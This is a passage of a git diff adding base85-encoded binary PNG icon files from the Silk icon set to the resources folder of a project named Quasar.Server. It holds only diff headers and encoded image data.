z2!WK7geXLnO3Vw;o12Skp%_E#+N#9;DDWP?Q-VS3B$v~Ha)dDzWn0zG~O(^_1!n0HYp-( z+;wPIdoFgQlpYV!10V>5@a)1LyGBMvoa}miyp(bxbMTM-FYNyx;V@TfYddyT00000 LNkvXXu0mjf90!wr literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_go.png new file mode 100755 index 0000000000000000000000000000000000000000..80fe1ed0cc75fbb67e9398ae686641f8fb287238 GIT binary patch literal 779 zcmV+m1N8ifP)JNR2Ufr z!Apo%Wf%b9=l#x^8AolrB&K9H?Pg_|78WA8(M3toqE%3B#7*srcF`i*xhupr27%Nr ziguah1+mN)U5GNmyEfQ3-e%_i&-vb-Co#(>FJ+EhQEwjRYVQ(&UYy{U@%vbY||>@4x=B^vIqabI?L* z;-S&DS^V3-ni4^fl|HMkOEbgX)(390>A}|VIypb5Xee4g;7ck zwKh^A3Mi1Mh@eC$5lV!}Fw%sP623U`g3pd_Hr5sunLvTskx4}&Gm%Q6L}(l4x}jCe z*81q1_4-O*ffi~_nMslo?EQ8t*&Ec(pzEw$vc}pKn_Qp0>D7Jr>ATNC3w@9f|Y+U&+)#!t7l&wKp+nP{PQsb+fb=Yf!Fu&5j8vpRj{FT>jD z>d>$sx;A&+`n$HcF}&sYKSyR;=(=9tvvOj@hUG;~4qTYk^_@E=?$*^_pVh_bGnOt~ z;pEw)j{SK$XVc;qy181rT655gW9NG{(yeablViIL>cDI_ux8m>Pp{tY$J0lgo4#ax za?j0EA3s0S!f>{~ykN9h_RhM&g3K(E`q(dE(Rd49+%xMeR9{qlWnmd{s#(SQ>PmFtSQqUjAtB;_Vvt6}AS_5YgM`Uqu`yva+H8^=4U$e4gHb}u zAQ2N{V3A%pO|?Pv?tb6z=jC}SiRa$G^v3q?*6XcYz$p|cq{uLj@#~Fi`J(>5{@&&N zy%T^+;>8cXx%|o77anP?&W1?1A(>-T49z9pyeCl@7YI+Si zKti7=B~``}TImz(G{0PnlQA3P#MAd}sorMjkP!50B7$nAkU^%#nl{Q9lW0@}9fE-> zN(q7tRuiC_T1r|BBtVBTlQ2+70$Rf;eF`Z;lx46Cpu-rEgb)EBKq(b^W8l<^We(`D z43?0=01z<3G6+UUv6`CsWCk6^93!#+<;ws7007{zS3k2k9-zZKFO~(k`>s0y006+1 zgF_jyIhsL-`FMf~JL~C=cV75(CrJ|q;MVO961G=O zm9d)YpJg5g(4i_HKL75eSE}mq$Y}r}hyVdcV~p>6a}oXr80q`oj%+s700000NkvXX Hu0mjfPs|!l literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_key.png new file mode 100755 index 0000000000000000000000000000000000000000..d6626cb09eb11a298b90a8a27b0d8eab41f49a82 GIT binary patch literal 801 zcmV++1K#|JP)$lC4gU2-`f*>nhR-;k6IP7e>YO!0^w)WK%3$w02v-#>5Ep64PCP| zJihT#O|N+nT7XR2h7dAB?UEAOhJF^mol1i`QtQB`HSY}RE7=r! z)zaVIHr5?>v2Gz&fdYw&2ug$!p+txby(aWZ7(4QT)l2`jX7eMQ{>)lG6ev(fWKxmH zOr%mM5$6B%u~qGtCf40#`mbGj3s!n+^%wnJ&#rl>g<4Z)lB5J6f!?|AP275)Zswr* z%T}4~{;_(?waU!#?JabbF3Cy-kf0{R{z}6$e=5yMQKt3BPcl2>zoTPMqMwF;3!_n|>sT?~bK_-2O_m+o>GJ6h zt=+g$4n7y%1qVJI7*5Yw(hqM=JusY{d}*?U(Oj*gT655eZ>Ksn(qrd7v3}DX1}C>` z+X+8@+4-pVq_fxG zlU}~Ye!0+%>J+pPk+0wV{GM$QaYM?5ux)w2z59=S&H2+K?;gH$bZGzL&g5>G ft+noNiyiPkP9r@8gT|RZ00000NkvXXu0mjfuqTIu literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_lightning.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_lightning.png new file mode 100755 index 0000000000000000000000000000000000000000..7e568703d6432c530224e443771a04fc1e2e59c6 GIT binary patch literal 839 zcmV-N1GxN&P)73{`^;G#xwAtHz%LU)4b zqTRU=ve1RNa3QT=ZM7C`iJ~QFQ*9t7<~pX$d^7W%^M8FFCkcQj-~0ZRTBCB(J0^iD z-~e!d9LR`f3#|=(>$bPvx_D-~2jC%pJ=n_e_OK zeJ_2b-KdDDh@@UlzBSMC;EPygH_MwjWBnPGQegihBV73D?-x9PlHL9A=(Vg=8^d<4 z<9r=UkxuIm)*CO=9e###7PztDxUv}e?$0)rQicmYhV`pQ%S!g@;K(?TVfhM#E?bM| z=B0gfb6h@a8bf5FVT-SV~6}?X}9lK@@Yynoty&1zdZP@?RfODsl=2XzzU% zS8gIN43How+9%bK2S@Xbc`O>`z5`%^;pXGy8^4f>9^3!Sp@|O&)m;dOa3q6d;4P-l zca|=H_{G&m?D_+&-}r{u-J$5T=(X4R&)q|O^gN8cgv;s#@5sEPT5_Z)oFo9Ac>l+I zc4ng5zHpps|9)<_Rw>5bKzE(M1j)dFWI_%OH$BJSz0?T+02W0)_a>#vFqb!*d|5wB zzBUN|M&ty51O@=i?kiDrjQ{{}e|^rU?OS|RdxxP1p5mAw36cX72#`R6UsoeCQFI~! z0ATITp!vfeYyQ?Dr=^5BAshfEa0nB~JG?nUa2Aur006MC*<9`)86SPS(W^`H2n+xi ztOWohsFfVfVWrI7PSKW}BmkyPoj(-|J?ES|BGd-}fIxr{00@ANnO*ZR`#)pee4I5T Rmm>fG002ovPDHLkV1i|Hc$okI literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_link.png new file mode 100755 index 0000000000000000000000000000000000000000..312eab0914ab59271384686255d1be913a6b3add GIT binary patch literal 830 zcmV-E1Ht@>P)VWgGzD=Y79#JI$lhEn`|2MpRa?Bt#-nSD~P0P(mbVe{KrOBoKnSsk>m|ML{6l zBosu@om4j#WzNLRAk+{k1JRvL(MfE&vvbb->v>W{*z*1_uMP}0cIRX*?mz+wk%*#O z%0D-+$B*g1nRkvI+_3E8Pr1NC6@5M&4vWaLCnNlr;lNlr4i91z&)eBGqL{L{GNu;Fof}GS9{gM5BJuH;2QWk8yuOZdB3pGR#s8bd~ zAmt<>3Q=YH$t5YJ5;7@+8Uh6=ktBgY6#6Pa%2F?h910?U8cLT43KAj$Z1*==ra&gILO{WkHfs(--F=bly9l~${z@AT>V$oat!YAD@M zBE0v_F{`g#^wOSP-u~!wvlmXdd*uqFqoZ0^{&nEMDU+=!>({S0wrQhFmoB}Yq1)~0 z^{A)L8Xjzdr(W4_exYO6u3a{4*kIeXZMJUR>Q=ksjW_p!rAwDKYUs90>6Q|C>56o@ zbrSq^Xk7Gq#>dAsn@un`Hz$?w$;Ss`%jV7L%9ShgHFV~C)6M>B`Tp%|nqPc&G*A3| z)Qe+}vT4-x^t1~XE@(6wR;^lPWMo9n*~E!cy~)YRsT2{`?fqeIw-e7N@mOA%UcCIq z_kH(_EK7|>pM*1Wt2^DaDAp|cvp*@(ZZDKpYkKC^?97(`0sb&XTXy7N#sB~S07*qo IM6N<$f;YmCWB>pF literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_paintbrush.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_paintbrush.png new file mode 100755 index 0000000000000000000000000000000000000000..246a2f0b426faa0c7f5ba009e32b1deaf88d1288 GIT binary patch literal 813 zcmV+|1JeA7P)otxGRZMDZ!_a~nK|b_-`n%VosaL{KDuPV10`(1LIen8kX2Xff$3BE zah#djvFGJ&eE^89Pk*-O^+&d>FC~^GjRYVQ(uuPJyS|-v?9lxA-+tM5>1Qu*n+Ir1 z6KhA>X4$XDH6?-|E5oe1E?pQ5-M;2xw_ex!x}I2+b=}mPFW$U%^;o(Zg*LP!K^1kP%8ynsD^= z1y^6xD1#GLjO{VLdh@0GKY7;d$+NGukV)GRLPn^=q=dF%B#XaJrNP`0E6=}e&Gj3d zKJbQre*WXt!60_DnIzgMQc6S#fvjXxsE1v7;T;njHkdy2miIqAS(nX~o%cO+q+b#h z5tIleLWvL=dQE8OC#{%y*Tnku&K`Tuub&_ELI0t_ea{@3f>Jv&sYqld(%}3_GY3Dm z;O{3*Y?v^A`a|D;^qrM=ykI)U6QHd%WhO~VF!SGjGn0GOZrc3mGZudNl9{Q#X5&-F zuGwVReFLBjE5jr!!^-5*L%!I%PkYH#Hs5rMrEBl^)9)9XTD;xjHFxVZMc3~Dw6#k$ z(-S}RE$bgMHv6Z`mS5|u$$78sp4G-8b@lVkl`HtEv+MGn!F&bKcHPi$$oP_;=BrPf z$(~b3&p3CsuQxhoV$%jIR;`lB-s7FDX)xCTXuJ7ZyIQk96uIR=HBt%-P?N*bp`)EF zq14c}QM+O70NTOa@V~_)&GMZ$^cQDlkyOCa(H3Mf+6xhCuZh`VSN{cQBl5Ys9{cp( rh`2H3A^=GuC6HjQ*7|*0>;m{7QlnX3z3MSD00000NkvXXu0mjfR5FYo literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_paste.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_paste.png new file mode 100755 index 0000000000000000000000000000000000000000..968f073fdddc1cc0f0800b1ac4001cd9a55f053d GIT binary patch literal 703 zcmV;w0zmzVP)AVs!l4K}n~L(tL`6d4Up4iSWnZ3Qg~4n+_J zDGk-qQdogO5JUtO-d5pRp7Nd7_r1^a|M&Zq%mn9Oe((|e0sw%Ur!K7T1pojj=U#f? zQM`qbQrM^DPkwa?DK_be^~z<~RgSMIa<`xP_4P7gg2jCwJ{9^k!fsU=#Ti|%I3p;>90Qd+7|~0h&mIklA#nb>ATL2+v$&u)OBgB z;nsHb)I&QRKeX40H~~cIZxCd}5C} z=79lXoXK%6YlyLtsV$~bSm?Upq|DJh#{|*a7XMm`4QJWZ>s6nL2R1|&J z0VPEwJ9?!n`o5PKAjc->P1Gi8BY*%!5&FVp=#)$mMJYul1Jton}gujiUf??eOy!x&!tsjxy;=Q3_DdcXx=a^OBhW0N~`A@4xB0a*%F? l+@c^sQA%W+?pa#c`9H5UNfS6T{e=Jk002ovPDHLkV1grvM=byV literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_red.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_red.png new file mode 100755 index 0000000000000000000000000000000000000000..0b18247da5850f3c2486373a3e179acd2772e8aa GIT binary patch literal 641 zcmV-{0)G98P);68^@7JE5sw#jpE*579S@TLkU(6yap1yN*Zuy>-hV%Q_v4Ar&!63c8OBr(ZRhFu z_kWs36-AmgZCT>x!RqM;Zu9tqvoHI~k@UmYo_g(*J3c%2{N8}7I+|qKPQzv}7t>%W zsu&9G)UmCzkDYSw{fBnuW4j;1fKV_nicw`$8C6D=F_qu`zUiK$2Oc?5UVY+D(`I@R zW`KlwqLftWHH3Z2_XVNfKn>VgT~k=@- z+N>c>0|@A_HbI9Jn`v0~7cfIF(TS69zaomDS1QtgvaBBfGEPLHccO2~3jc>n^6}^HAEh-2#VxC7YYcDXv!L9X= z-R*SOUvIs;n`8(LxP4~^2|JsiN^hq6cU}5dn4v1~Kl{eT7pm&f$PoY`hyVe%y8G*S bxB&kH@RuR86sIAS00000NkvXXu0mjfZBi!% literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_refresh.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_refresh.png new file mode 100755 index 0000000000000000000000000000000000000000..cf347c7d4685128a4a447abb9fb8e939417644f4 GIT binary patch literal 858 zcmV-g1Eu_lP)`6pHR2Ufr z!EI=jWf;Km|8+n2IrHqe<9xxFVk)&(Nh?w$Xk`TAyvb=#e=0aySC z00NkRDM597_LiNIJ2M^qhuTvB004REvvU8@of{r?P8tmo3;+Pk0F0@*jAMhdOkS&1 zhJPPfQa;pP0|4+Yk%#j>X}o-s#EF1_DMV93FsfPP`G*>Ks>L&)Q}w2g%slu0kBfW1 z+*$*0BC^oTl6>OGIq(9BgG4|C90Dk-N_mPazGrQ7uHZ|>BLD!-KmZ)z1e^#?1Sf(M z!6m}K(^b|i%$TcA5bC}r$tAA?0C)g1@CgWliJ;NAk&ZF+-w#}$`-3nZ32C6IVKrHp zr+(!L2hRfF&AsTw>_@ z1y23;E%Oz}?q^Q2d($ayO;-sON2t7$w(Z|o0Pw1YnSp^}0PI+I5HnDNsFCA?oorkG z5sUIGIq=FSyxcj+xlhkm0en=52Bx3@02o12gdAU$_i?v6iyFMuc7P9#zQ-Hf; zVuV$t9P5`m)F2w1?t6{<8%wk{w-PP#Sj#%1MbsjrSI6n;D_@8q9`~W98dNQf$j=iI z6~hpgww&be%X_HI50Hhx@W==u4TLPB;ei-J-1}G8wH}|{i#Lk-WZAyfv}k4y0|fvU zZTy^$u6L>2nWo(NDSV2@MRD}JQ4(c%G%=dG@_vxH?>gcH#*Ue2HC}9sapf8X?R$Z;XEnm&g zW99mh)5jNw008mK8)r^`_{yH0rNn%u1|SpC(tjf#om=+r#lh+?Kb>DVb9`|C0Bvbv zN3U(>f4-tAC1hosRoA7p(b(hL*V}(j>ug<`&U)|l$6o$)!>PBQ9RQSwn9asj2p*|xhU*R^vq?*Twb0t!lm5}`yW5lRy-U0ZYK?8to!;o!r!XeOE$ z0HB3T+6EEoI4PlR=wonwqJ+TvCoWh&$?CAPVYcU= zD{DS0?AkOtb@-hh^ZLq~FMjxYf19X?pa_YqtgZGvv2TaxcF#KT?O%=_*a-kW_;N|D zakkWsOe!)HsT5WRBiC+p;N-c>0Qwy(1D2MDBC595oXSiR07)sKNk-%9*rDBOO^HUD zZW#;)R&EZpqha<(HK$(tZYU#V29<@0qCXgU{gXeGpc_|pTqQD-WO|}%yKZbeX7k*H z2W~CK$v8NBAq~czrc5A(v51g0Wma7`G8}f=ZcuAiYYxZan@gP(;Ku66M6?bquGiHe z3Q0ya)%Lvk@kLixZfZyU@#UFbv+>pYhcj8TRKSr_sWG8i^X~UA**LvbD3(_Lba3xm ziYcpup*A9qJ$?AA=Og05lndxfwr`!C+O~h|B~4 z01q8H`StcY);%&mId7_+)76ovRpeNWRp&4M?#jx@|E-)x%P*A6t^fc407*qoM6N<$ Ef@ddc(f|Me literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white.png new file mode 100755 index 0000000000000000000000000000000000000000..8b8b1ca0000bc8fa8d0379926736029f8fabe364 GIT binary patch literal 294 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!60wlNoGJgf6SkfJR9T^zbpD<_bdI{u9mbgZg z1m~xflqVLYGB~E>C#5QQ<|d}62BjvZR2H60wE-&H;pyTSqH(@-Vl>|&1p(LP>kg~E zYiz5X^`c$+%8#zC{u)yfe-5 zmgid={Z3k(ERKCKrE7DF;=x4^O+ pzO8rLO8p|Ip=x)jHOtWj`bJBmKdh_V<`47(gQu&X%Q~loCIFbEay|e6 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_acrobat.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_acrobat.png new file mode 100755 index 0000000000000000000000000000000000000000..aa2e3f16d016e9a789b70e01c35e3e42e564003b GIT binary patch literal 579 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GXl47{vp8LR|m<{|^)af+Lbb5C$@N zRzh$JKi5nVJ`iKdl&Mpv&YU^(lqeq%9S{@v@#Du&F!=rZ_a890WubdJ)c<~f+x<|V zhdHT_Qe&Uwr9G)Bds18eG&A98Wzo~ds%LS*&)OTGJ$v@NH23-Q=P$AnUM`sZ^5x4{ z8L_Wky?VWP{_EGT-<0LNdGqG&oat{@FMs>??Ypwfcl9OjcWin8{{4p!A3oL>e{8Av zc=*7_j~_oRoA>GT$xoj?eO|ll^ZuQmKY#vm_41dGAHRJ0^7X=*uV24@yLIE+w{PFC zUHN|J*7v)&zrTF({qv{q-@pI3cjw2`Cm=7peE##@+n=951HJO=*Dr`)_@?X>2L^;x zNswPK10$25jI4sOiJ4t}efz|T6KC%{|Kao3zkmN3J<90=sygWD;us=vIXNLAA@O+& zlbITuK!UhnKVx%%T?fbV9lO_dPv1K=uSd+@qh+G8+J$4rC$2`>A3N^cz^fyW`A*=; z;}nid$2i40wiWd8ecfb!?Ro>(kr$Fj8C>VAIkSN2VAidD4ubOG>MI(Sb?)C3?-R15 zpWj8n$LvV7qnBIUQ4ATfTx>EaBNizW&b6zP>K5jt(ZSf{$F*O)>(! zYz~Z$ig_m`EG95yB|Z?C-0<1;W+T%YnK=aq&T%osgc|UE4}M(_ihEC2KbLh*2~7Y3 C11+)u literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_actionscript.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_actionscript.png new file mode 100755 index 0000000000000000000000000000000000000000..2fd1956ed54447011e29882089ac1251c418577e GIT binary patch literal 662 zcmV;H0%`q;P)}tK}GoZ z`1$$y^FT!T`T6lYLG|_Z`}_O+{QUAeK>F3znwpxRprE0lp{S^+s;a86u&}bSva_?Z zw6wIhx3{^uxxKx;!otGC!^6zX%+S!#($dn@)YRkSFVn0>+9?6 z?CkCB?e6aG@9*#M@bK|9JMlR`@k&qe@$vFHKk__4@;pKEKt=NM^7Kkg^z`)gNlf*0 zclCgT^@4=;gNF6>_4Zd<_IP^s_V)KzS@&F9_h4c7h>7>d$oKd6_+?`FfrI#skNEib z`E6wIM3IGmklfs6B&@>>SO}a#t9aP_e=72^RhKHHh>7^hNk*tWQBV< zS(rft()^vHGV^paeATrf0%0lH_U?IV`Z4gObX8DA6B3ewbxR{`~n9DEs^O?>}GwWZM@i`BWPQ_h^Lo>n3)2C3SnH z_4$|1OlVx4*uFENeOE&FuB4tlslB^W`gdpb?@6Dwv2Ej#r5i6#*m!Nyrb|<|T$#G< z#OiHV=3IET>)Eqs&!0bk`SRtfSFc{be*Nano40S@zJLGz!-o$aKYsl5>C@-WpTB(h z^7ZT2Z{NOs|Nb55B%phK{rUxQ570-8N}ZK}UJ@?}@(X5QWRj6pFg7vknK*Icv>6LO zeEs_U@85sCMNb-lN|t-NIEF|_vL4*+=j15DaKN(q8&lIpqqZaG&Rsh7{+g8+3<)VjuaBI6fAqrplh;37 zy!q+!?ax>4et!1s+4JYmU%q_#>eZ{)uV24;^XBc_x9@@Aet!7y;p4}TpFVy1 z{Q2{jFJHcX{rc_Ox9{J-1Dy(VPIX|~;+TKfa4(mb9w8@iVTyxH?nhS8Lj;h#-%!uO-<43ES8!!%y=m&>1vt*w>` zTympDsqwyu{@WEkX^&U#KciB!YTLc2((gJy@7V90w){>1lB%zp>(=YdT{YE=v3dvJ zhgBU)LJ5@x39OS?6#hnW)@)bEV0yj&YT_7Lxm88-p zDk^c;sHj}OKUc4lGZU}6umlGVNAJx0%sKDOFwQx|V2pVvxhYKe|L9TNk!~md3BVrm zYPDL8Hk*yU-ER3~LGwJ7N`0ZV&nOhBI{~~A;@ND*=kxg?#^W&`4u`zk?Mg_e)8XlK z`T#M+OaR1!<#Nf_>$S`xrqd}OjYhoJ>q)?3vEX8pY&I()ERjfjrXM$k7e+-Qs3Ihj zNyOuEQ2EGYG7ro!o6VOBQEwuV2z)*tR8>WxP{616FY)p1Pn1d}#9}cxolZC$4n(6- z35hJq0;FlHC{ zp*iF(lgUK(E`($(s9pJ8Kn?(M734H_63WHtf}6SQQ_MXEP!#0|&@>J8dL5TfG&tBw z#tYn{TCGZvAr>cca%YYn^!t73tg8OOJ2FvJ(`YpCyVZi*?Ur+1uUA$hAg8-aK)c;e zQ<)!XwHh|n&ND=$@^)>aF-`~n}#*WMkD*M|f8r$i*z7+W! qF|A!t*4fE(R`<_YIkN&?Jng?3oQ|aAqClPi0000t>5xmo{nArfL4CJwMMm+N`pQ3p^Le$?rMud6Rbxz!-yG7bz2z$^USP5(;udf(gfQ zG~f68y^)EvcNWp#bUoDt2=h+^%o-?-|mo~iieWqLNP<0m@2PTB7ftyb= z@H`K$>v9Pr5X`L|rw&CEN2(9SB7A2SE;d|j9@*F}sd(@*2l|P*fWfK>1drZUrtUA7 zNXO~pKn1cjf~~TLbje1g>EPPzN2GH#UIBxJ{}S9=E`{zs-w#hO?vcH+hJxroI5v?j zD!4lP0WXq8zUx3RAP@|Gq$}6wXCjFLZY^YSWBxN9#&g)ro$%5}aYn#y=tJ_aIT%4d z5d4u`rlp!};XGmbZkJE*kYJoi&N0pd*yxY{0${xD;;Q1h^8f$<07*qoM6N<$f(}t7 Ae*gdg literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_code.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_code.png new file mode 100755 index 0000000000000000000000000000000000000000..b09d8d9e4e1ba1d0dd846d1d7f9b2b6e476e9b15 GIT binary patch literal 598 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GXl47^MPyLR|m<{|^)a0{Qrpy7iYK zY-Ey6M4wyUSiShBUdz2HQ>ILvI(6pEnU)pjT_)Z5@#9DM^5;LnAawrI=+!SHmOTCa z`}ZF(2%YdCe9q&@S&yUUJ&9iSEOyGn*cC70=R8SV@HA=B)1>t;Ql~ylUHmk4`HR$* zFVfb%OrQBUefHz@?Qb$xJkMJ7B5UjGf(@?!R(iOE z-)=bh_Tv37mmYq7`ufMyw?Cc%!TX=jpFe;3^5rWac>nD+5PbOY1_(ZWfBW|ByN^HK zzkmM$2)_RM`0?YXPoF-2{`>_9zW(_7_3O89-@bqU4)hMtE5CmIf_OntyuT0_5OO6! ze!&ckOv1u4vI@o~W=>8K5fdj)ymaZq$IoBCfB*CM??0YPuXh7gp7nHb43UsDJ!q@X z5-8H}@cX>tbUj1K**ASQC3;?1Y0A|*?fz=ndZ&=+6MWtpCvqY_7q07nS}CKVwT5@@ zL&wbp=lcJ3ofEnA=1N=Q*N?NFpBEFI9PPxF*0$N6 U6H;=796@Qp)78&qol`;+0L-C9_5c6? literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_code_red.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_code_red.png new file mode 100755 index 0000000000000000000000000000000000000000..87a69145075afd8f8fd8b391c5da1249ec8b2889 GIT binary patch literal 587 zcmV-R0<`^!P)LWh{^|hy<@Q*xw+qo|KpY<+vaXbbW{L4q( zTsjXEJvb}e%bgb=o%W0h?4u1;^bWTqH8}5Th002ovPDHLkV1nrS0P+9; literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_coldfusion.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_coldfusion.png new file mode 100755 index 0000000000000000000000000000000000000000..c66011fb0fbdcbf210483d676b7131542a0e282b GIT binary patch literal 592 zcmV-W0k7R5;6x zlV4BMP#DI+Z{WQcKZBTk0lfkj5F$ztWhP#lcuyb@0@rA^#Kpu5KLA&Rgc}o#aSmis zrZC__xY^&#cI&!!{c|4Q_tcec*#b>|Y15wPcY2=o3;-Bl=(t4;6Ok*pL)-{*A;GX^ zS(@WGp6j~k1wBVR9)BB_gar`}HyRBXh7nM!)u5^>N~MyN6bc0-5{W?44iB<`2biXb zR;wk?jIQg@G!5l)SqhrXCU}x$GU-dY1sra}0uCq@153FUULT=jNwSk}0WBjKz}Jdu z<5gB*<^XtpAmp3m^ZEXQZWd1krhft}CoYaF4cSMvTJ01}X3X37KYdx-D0$c{doUe8 ztY{vlGr-e*;N!WAV%_hgUawyYrhegW>^F)pv%uUTFslHn; zvJ)l{%w(~{!O4`KTmK{Q{zCYltLfs&4?nz|6IdlqHCvX;|HGv~!QW?8P~_d#e0$v$ z)5XHEz{3>qMiH`1+qNYf?huS+@L`J9_$cjJF)Hf?@pu;)`9}BXwGUM{2!{y-4|Z{L zG>z?O%Cp8P5T#j1DID7u_*(Jg?7iss8AZQ+&;u_J{FmILf((9eoiL5nGUe>Fgq*U$z0000 zJ3A|*qoWOonz+4ZQ0KNhDB07SX1?#FrNy8%K)_l}y&kh`*KYdy`Y99&tgNgMLSSrc z?B?+B@HO@P-jS~z2Rgc6yy~Y~%>oJpBxsb$5<&nRLqiuR7K=@0SZj~jTs|sv_jWVX zGe?WflejOaq|Vec=s9+ahmXbyJ|T)Sl*?s82sr2H?Ce~HD5WI+Sz&tmWrN()wI2}+ zKqg92t*l^-#ae~;9%KFlWkmwnY=-UK`_|%ICZ#P1gdjK<2n38VXsuC7{WiU!fZFmm zW~Sda9(Qi@pxO}$ARY+;t##Ao27usOqNt7Hwq6K7G1il@xitj=LIM&{N&#SuX;x4x zmG6FhCg-$PI;hQ=;1iZ>F>^~@)IPi;l}fX?SZ!QiO=X<|pSVkNpJuLHzW(FT_~W-v z?vFpkyE>8ee4d=7wKauH5~dd_M7d2Aa=ICC{Nj7Blqv&DQEP#j_VeWV&WXL>c=LLK zsmYg^_JiDb;%U!UxO%qjFAvsDFj-kzT2$GbV(ZopPM$i$z`!7jvEk07BcC=6FMt4` z*0u3Sy`0b~%#(0000K literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_copy.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_copy.png new file mode 100755 index 0000000000000000000000000000000000000000..a9f31a278e17993d8d4e13beac2f9d5f7b42d08f GIT binary patch literal 309 zcmV-50m}Y~P)tD7n zc-*n@amTtBovWUAZ+y|a`DNec7k!&w_HTSTWy{McJKs#-{%Yp#H%oTCTE74FiXAW4 z9(l2D|Lct>fauMU^Y4#dcz^QxhjZ6Ip1bks%H7X59({cF?Ai0@&tJU#@$%)%SFc{Z z27>oL-n@D9_U+sEK=ASB2O#+T{UZ>3`ts@1r_Vs}?dO*-U%mpt_n+Usef$3XJJ3@= z-~9UZ3*w!(c8;KcR457Z3ua(sl95$VHa0df%PFs@oH%jfl!dF--+lK1Xw=ugfB((y zcwh@ud(P9vF+}3B?di&B#z2wdACqPCR8v>CTyPS}{g(R1TSM`*!Sw3;|Emk$eK_-d z|L4kc{0u%qmT87f9=o^-bgSwFgd#M%jHK&7&kOEoEGS*Qs{3R^ewerz!|KEs=;PDNbzLob?{E1Zr{p_x?dlMQIkE1C%T$Lw_1?DCdPyPklOhNr8a%Q~loCIEYfTv7l4 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_csharp.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_csharp.png new file mode 100755 index 0000000000000000000000000000000000000000..ffb8fc932f321d19049a51e0134459e7d6549226 GIT binary patch literal 700 zcmV;t0z>_YP)WjsQrp;}0X?Bxrvf12IKW8>3t`e~W9|JS<{btTNbNT@EQIWBSNJTX8AMGXD z-SsH|s#>j9Xf~VMtyT-YMD}5^SWHTY5->o`k|d#AE_YQd79j`%GMS7FNvG3b7^Vy9 zn0HYCJy5MyQLoqKnW|JOp-?D*<2V^msZ>BOv0ANd2n7t@{=V;sZrQ>3c})5_%ms4z z7!qXwHHe~!QFj8aR~&*-3F?O|;#(ESIXP~Os%|~y^7c15*q5`gz2-5ol!fU92NIGT z_ves+>+Tf3gfcL?!nimYmR}cw*|BGULzI^7!;k#3K^YO#;!+vM@N~(99+<;fdqr zYPJm+pXYFYk;neQyXXEcTQDNQx57i`Okp9A#n?<7!{#tnKJdsF>utb@JH7dU01gfL zEK2hoPZAnO5+je3&^i*hWM`qCW^vLK!O*?U-#IvXV?#6koWqrwnD{j&K`7N>^tR3G z8zr1(qVOzcF#nF1&0MZ5C$l8*E^Uth0000IZx@|(k z_U+qu?b@|__wGG=_UzrecmKQzhYueFNlxsIB$6a3>t-!AirP+MkXE^Sp^Ma6EiQrpv(bD01N8ecR$^>!*b*7M$2|EXsz7 z`{S}}Wax?#D zhse3RrR{Y4j+N}^y!>mC;*RC--=*+vzZJ9BPTjpE|D(_&rnx7JUbHJ5&HFq(eL?Kh zbEo8vS){#M&|I@ue)sJSpRL0kY}Rpa&bTtamu14og?gW2Qg>y2lbtaCUErxz*RK8w zadpU*z9f8-Z@MT0*UPt33=Luj??y2+m@Q-2$;QAi=`VAtaMTsX?L94^RO0FC=d#Wz Gp$Pz4DqBea literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_database.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_database.png new file mode 100755 index 0000000000000000000000000000000000000000..be39ea61fb639b5f724f8cdef569175ce88ff5d1 GIT binary patch literal 574 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GXl47`X#{LR|m<{|^)af@RB=_4f8c z*vRD6sZ;0ApFd^F6d+^f%$aM~ty{5X#gbJ^R)N6k>C>mLUcGw7ij@Zr9=>+%+P81t zK7IQ10}OtG!J$KkoeT7er_Y~1f8oM~ix)3m zy?XWf_3Jlp-n@PL_M=CSo;-Q-?AbGjU9Vofdj0zKn>TOXzJ2@t{re9eK79Q65$Leb zpFe;3^5yH-uRwPK-3WBxuV23)t^$TbjzaY(pwHDyg8YIR7@3&FWMmbLP0Z>WCQh7q z24v%@uQt}b2dHJYr;B5Vgrw=g(|(5%1R5^p>*@LiEOx!Q 